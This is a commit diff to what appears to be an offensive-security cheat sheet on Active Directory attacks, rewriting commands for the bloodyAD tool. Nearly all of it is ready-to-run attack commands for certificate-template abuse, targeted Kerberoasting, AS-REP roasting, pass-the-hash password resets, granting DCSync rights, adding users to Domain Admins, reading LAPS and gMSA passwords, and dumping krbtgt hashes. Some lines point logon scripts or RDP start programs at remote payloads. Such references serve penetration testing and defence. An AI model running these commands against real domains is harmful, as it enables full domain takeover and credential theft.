Add bloodyAD cmd and fix syntax
parent
c683502bcd
commit
b8971601f1
|
@ -31,6 +31,8 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role
|
||||||
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
|
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
|
||||||
# or
|
# or
|
||||||
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
|
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
|
||||||
|
# or
|
||||||
|
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
|
||||||
```
|
```
|
||||||
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
|
* Use Certify, [Certi](https://github.com/eloypgz/certi) or [Certipy](https://github.com/ly4k/Certipy) to request a Certificate and add an alternative name (user to impersonate)
|
||||||
```ps1
|
```ps1
|
||||||
|
@ -64,6 +66,8 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role
|
||||||
* Find template
|
* Find template
|
||||||
```ps1
|
```ps1
|
||||||
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
|
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
|
||||||
|
# or
|
||||||
|
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
|
||||||
```
|
```
|
||||||
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
|
* Request a certificate specifying the `/altname` as a domain admin like in [ESC1](#esc1---misconfigured-certificate-templates).
|
||||||
|
|
||||||
|
@ -317,23 +321,23 @@ Exploitation:
|
||||||
|
|
||||||
* Find `ms-DS-MachineAccountQuota`
|
* Find `ms-DS-MachineAccountQuota`
|
||||||
```ps1
|
```ps1
|
||||||
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'DC=lab,DC=local' ms-DS-MachineAccountQuota
|
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' ms-DS-MachineAccountQuota
|
||||||
```
|
```
|
||||||
* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
|
* Add a new computer in the Active Directory, by default `MachineAccountQuota = 10`
|
||||||
```ps1
|
```ps1
|
||||||
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 addComputer cve 'CVEPassword1234*'
|
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
|
||||||
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
|
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
|
||||||
```
|
```
|
||||||
* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
|
* [ALTERNATIVE] If you are `SYSTEM` and the `MachineAccountQuota=0`: Use a ticket for the current machine and reset its SPN
|
||||||
```ps1
|
```ps1
|
||||||
Rubeus.exe tgtdeleg
|
Rubeus.exe tgtdeleg
|
||||||
export KRB5CCNAME=/tmp/ws02.ccache
|
export KRB5CCNAME=/tmp/ws02.ccache
|
||||||
python bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local setAttribute 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName '[]'
|
bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
|
||||||
```
|
```
|
||||||
* Set the `dNSHostName` attribute to match the Domain Controller hostname
|
* Set the `dNSHostName` attribute to match the Domain Controller hostname
|
||||||
```ps1
|
```ps1
|
||||||
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 setAttribute 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName '["DC.lab.local"]'
|
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
|
||||||
python bloodyAD.py -d lab.local -u username -p 'Password123*' --host 10.10.10.10 getObjectAttributes 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName
|
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
|
||||||
```
|
```
|
||||||
* Request a ticket
|
* Request a ticket
|
||||||
```ps1
|
```ps1
|
||||||
|
@ -345,7 +349,7 @@ Exploitation:
|
||||||
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
|
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10
|
||||||
|
|
||||||
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
|
openssl pkcs12 -in dc.pfx -out dc.pem -nodes
|
||||||
python bloodyAD.py -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 setRbcd 'CVE$' 'CRASHDC$'
|
bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
|
||||||
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
|
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'
|
||||||
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
|
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
|
||||||
```
|
```
|
||||||
|
|
|
@ -3,27 +3,40 @@
|
||||||
* ACL: Access Control Lists
|
* ACL: Access Control Lists
|
||||||
* ACE: Access Control Entry
|
* ACE: Access Control Entry
|
||||||
|
|
||||||
Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).
|
* Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner).
|
||||||
|
```ps1
|
||||||
```powershell
|
|
||||||
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
|
ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show
|
||||||
```
|
```
|
||||||
|
|
||||||
## GenericAll
|
* Automate ACL exploit [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn):
|
||||||
|
```ps1
|
||||||
|
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'
|
||||||
|
```
|
||||||
|
|
||||||
* **GenericAll on User** : We can reset user's password without knowing the current password
|
## GenericAll/GenericWrite
|
||||||
* **GenericAll on Group** : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
|
### User/Computer
|
||||||
* On Windows : `net group "domain admins" hacker /add /domain`
|
* We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
|
||||||
* On Linux:
|
* Windows/Linux
|
||||||
* using the Samba software suite :
|
```ps1
|
||||||
`net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]`
|
|
||||||
* using bloodyAD:
|
|
||||||
`bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'`
|
|
||||||
|
|
||||||
* **GenericAll/GenericWrite** : We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.
|
|
||||||
```powershell
|
|
||||||
# Check for interesting permissions on accounts:
|
# Check for interesting permissions on accounts:
|
||||||
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
|
bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get writable --otype USER --right WRITE --detail | egrep -i 'distinguishedName|servicePrincipalName'
|
||||||
|
|
||||||
|
# Check if current user has already an SPN setted:
|
||||||
|
bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get object <UserName> --attr serviceprincipalname
|
||||||
|
|
||||||
|
# Force set the SPN on the account: Targeted Kerberoasting
|
||||||
|
bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname -v 'ops/whatever1'
|
||||||
|
|
||||||
|
# Grab the ticket
|
||||||
|
GetUsersSPNs.py -dc-ip 10.10.10.10 'attack.lab/john.doe:Password123*' -request-user <UserName>
|
||||||
|
|
||||||
|
# Remove the SPN
|
||||||
|
bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname
|
||||||
|
```
|
||||||
|
* Windows only
|
||||||
|
```ps1
|
||||||
|
# Check for interesting permissions on accounts:
|
||||||
|
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
|
||||||
|
|
||||||
# Check if current user has already an SPN setted:
|
# Check if current user has already an SPN setted:
|
||||||
PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
|
PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
|
||||||
|
@ -41,9 +54,20 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
|
||||||
PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
|
PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
|
||||||
```
|
```
|
||||||
|
|
||||||
* **GenericAll/GenericWrite** : We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
|
* We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back.
|
||||||
* On Windows:
|
* Windows/Linux:
|
||||||
```powershell
|
```ps1
|
||||||
|
# Modify the userAccountControl
|
||||||
|
$ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] add uac [Target_User] -f DONT_REQ_PREAUTH
|
||||||
|
|
||||||
|
# Grab the ticket
|
||||||
|
$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
|
||||||
|
|
||||||
|
# Set back the userAccountControl
|
||||||
|
$ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] remove uac [Target_User] -f DONT_REQ_PREAUTH
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
# Modify the userAccountControl
|
# Modify the userAccountControl
|
||||||
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
||||||
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
|
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
|
||||||
|
@ -56,24 +80,15 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
|
||||||
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
|
PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
|
||||||
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
|
||||||
```
|
```
|
||||||
* On Linux:
|
|
||||||
```bash
|
|
||||||
# Modify the userAccountControl
|
|
||||||
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 True
|
|
||||||
|
|
||||||
# Grab the ticket
|
* Reset another user's password.
|
||||||
$ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
# Set back the userAccountControl
|
# Using bloodyAD with pass-the-hash
|
||||||
$ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 False
|
bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password john.doe 'Password123!'
|
||||||
```
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
## GenericWrite
|
|
||||||
|
|
||||||
* Reset another user's password
|
|
||||||
* On Windows:
|
|
||||||
```powershell
|
|
||||||
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
|
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
|
||||||
$user = 'DOMAIN\user1';
|
$user = 'DOMAIN\user1';
|
||||||
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
|
$pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force;
|
||||||
|
@ -81,16 +96,37 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
|
||||||
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
|
$newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force;
|
||||||
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
|
Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
|
||||||
```
|
```
|
||||||
* On Linux:
|
* Linux only:
|
||||||
```bash
|
```ps1
|
||||||
# Using rpcclient from the Samba software suite
|
# Using rpcclient from the Samba software suite
|
||||||
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
|
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
|
||||||
|
|
||||||
# Using bloodyAD with pass-the-hash
|
|
||||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
|
|
||||||
```
|
```
|
||||||
|
|
||||||
* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : `Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1`
|
* WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script :
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD --host 10.0.0.5 -d example.lab -u attacker -p 'Password123*' set object delegate scriptpath -v '\\10.0.0.5\totallyLegitScript.ps1'
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
|
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
|
||||||
|
```
|
||||||
|
|
||||||
|
### Group
|
||||||
|
* This allows us to add ourselves to the Domain Admin group :
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 add groupMember 'Domain Admins' hacker
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
|
net group "domain admins" hacker /add /domain
|
||||||
|
```
|
||||||
|
* Linux only:
|
||||||
|
```ps1
|
||||||
|
# Using the Samba software suite
|
||||||
|
net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]
|
||||||
|
```
|
||||||
|
|
||||||
### GenericWrite and Remote Connection Manager
|
### GenericWrite and Remote Connection Manager
|
||||||
|
|
||||||
|
@ -99,8 +135,13 @@ ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtr
|
||||||
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
|
> This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - https://sensepost.com/blog/2020/ace-to-rce/
|
||||||
|
|
||||||
:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
|
:warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.
|
||||||
|
* Windows/Linux:
|
||||||
```powershell
|
```ps1
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSInitialProgram -v '\\1.2.3.4\share\file.exe'
|
||||||
|
bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSWorkDirectory -v 'C:\'
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
|
$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
|
||||||
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
|
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
|
||||||
$UserObject.TerminalServicesWorkDirectory = "C:\"
|
$UserObject.TerminalServicesWorkDirectory = "C:\"
|
||||||
|
@ -111,73 +152,77 @@ NOTE: To not alert the user the payload should hide its own process window and s
|
||||||
|
|
||||||
## WriteDACL
|
## WriteDACL
|
||||||
|
|
||||||
To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn) is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : `./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'`
|
To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights `Replicating Directory Changes/Replicating Directory Changes All`.
|
||||||
|
|
||||||
* WriteDACL on Domain:
|
* WriteDACL on Domain:
|
||||||
* On Windows:
|
* Windows/Linux:
|
||||||
```powershell
|
```ps1
|
||||||
|
# Give DCSync right to the principal identity
|
||||||
|
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B add dcsync user2
|
||||||
|
|
||||||
|
# Remove right after DCSync
|
||||||
|
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B remove dcsync user2
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
# Give DCSync right to the principal identity
|
# Give DCSync right to the principal identity
|
||||||
Import-Module .\PowerView.ps1
|
Import-Module .\PowerView.ps1
|
||||||
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
|
$SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
|
||||||
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
|
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
|
||||||
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
|
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local
|
||||||
```
|
```
|
||||||
* On Linux:
|
|
||||||
```bash
|
|
||||||
# Give DCSync right to the principal identity
|
|
||||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2
|
|
||||||
|
|
||||||
# Remove right after DCSync
|
* WriteDACL on Group:
|
||||||
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False
|
* Windows/Linux:
|
||||||
```
|
```ps1
|
||||||
|
bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' add genericAll devil_user1 'cn=INTERESTING_GROUP,dc=corp'
|
||||||
* WriteDACL on Group
|
|
||||||
```powershell
|
|
||||||
PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
|
|
||||||
net group "INTERESTING_GROUP" User1 /add /domain
|
|
||||||
bloodyAD> bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp
|
|
||||||
|
|
||||||
# Remove right
|
# Remove right
|
||||||
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False
|
bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' remove genericAll devil_user1 'cn=INTERESTING_GROUP,dc=corp'
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
|
# Using native command
|
||||||
|
net group "INTERESTING_GROUP" User1 /add /domain
|
||||||
|
# Or with external tool
|
||||||
|
PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1
|
||||||
```
|
```
|
||||||
|
|
||||||
## WriteOwner
|
## WriteOwner
|
||||||
|
|
||||||
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).
|
An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants.
|
||||||
|
* Windows/Linux:
|
||||||
```powershell
|
```ps1
|
||||||
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
|
bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' set owner target_object devil_user1
|
||||||
```
|
```
|
||||||
|
* Windows only:
|
||||||
Using BloodyAD
|
```ps1
|
||||||
|
Powerview> Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
|
||||||
```powershell
|
|
||||||
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object
|
|
||||||
```
|
```
|
||||||
|
|
||||||
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
|
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
|
||||||
|
|
||||||
|
|
||||||
## ReadLAPSPassword
|
## ReadLAPSPassword
|
||||||
|
|
||||||
An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the [Reading LAPS Password](#reading-laps-password) section.
|
An attacker can read the LAPS password of the computer account this ACE applies to.
|
||||||
|
* Windows/Linux:
|
||||||
```powershell
|
```ps1
|
||||||
|
bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
||||||
```
|
```
|
||||||
|
|
||||||
Or for a given computer
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
## ReadGMSAPassword
|
## ReadGMSAPassword
|
||||||
|
|
||||||
An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.
|
An attacker can read the GMSA password of the account this ACE applies to.
|
||||||
|
* Windows/Linux:
|
||||||
```powershell
|
```ps1
|
||||||
|
bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword
|
||||||
|
```
|
||||||
|
* Windows only:
|
||||||
|
```ps1
|
||||||
# Save the blob to a variable
|
# Save the blob to a variable
|
||||||
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
|
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
|
||||||
$mp = $gmsa.'msDS-ManagedPassword'
|
$mp = $gmsa.'msDS-ManagedPassword'
|
||||||
|
@ -186,29 +231,23 @@ $mp = $gmsa.'msDS-ManagedPassword'
|
||||||
ConvertFrom-ADManagedPasswordBlob $mp
|
ConvertFrom-ADManagedPasswordBlob $mp
|
||||||
```
|
```
|
||||||
|
|
||||||
Using BloodyAD
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword
|
|
||||||
```
|
|
||||||
|
|
||||||
## ForceChangePassword
|
## ForceChangePassword
|
||||||
|
|
||||||
An attacker can change the password of the user this ACE applies to:
|
An attacker can change the password of the user this ACE applies to:
|
||||||
|
* Windows/Linux:
|
||||||
|
```ps1
|
||||||
|
# Using bloodyAD with pass-the-hash
|
||||||
|
bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password target_user target_newpwd
|
||||||
|
```
|
||||||
* Windows:
|
* Windows:
|
||||||
```powershell
|
```powershell
|
||||||
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
|
||||||
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
|
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
|
||||||
```
|
```
|
||||||
|
|
||||||
* Linux:
|
* Linux:
|
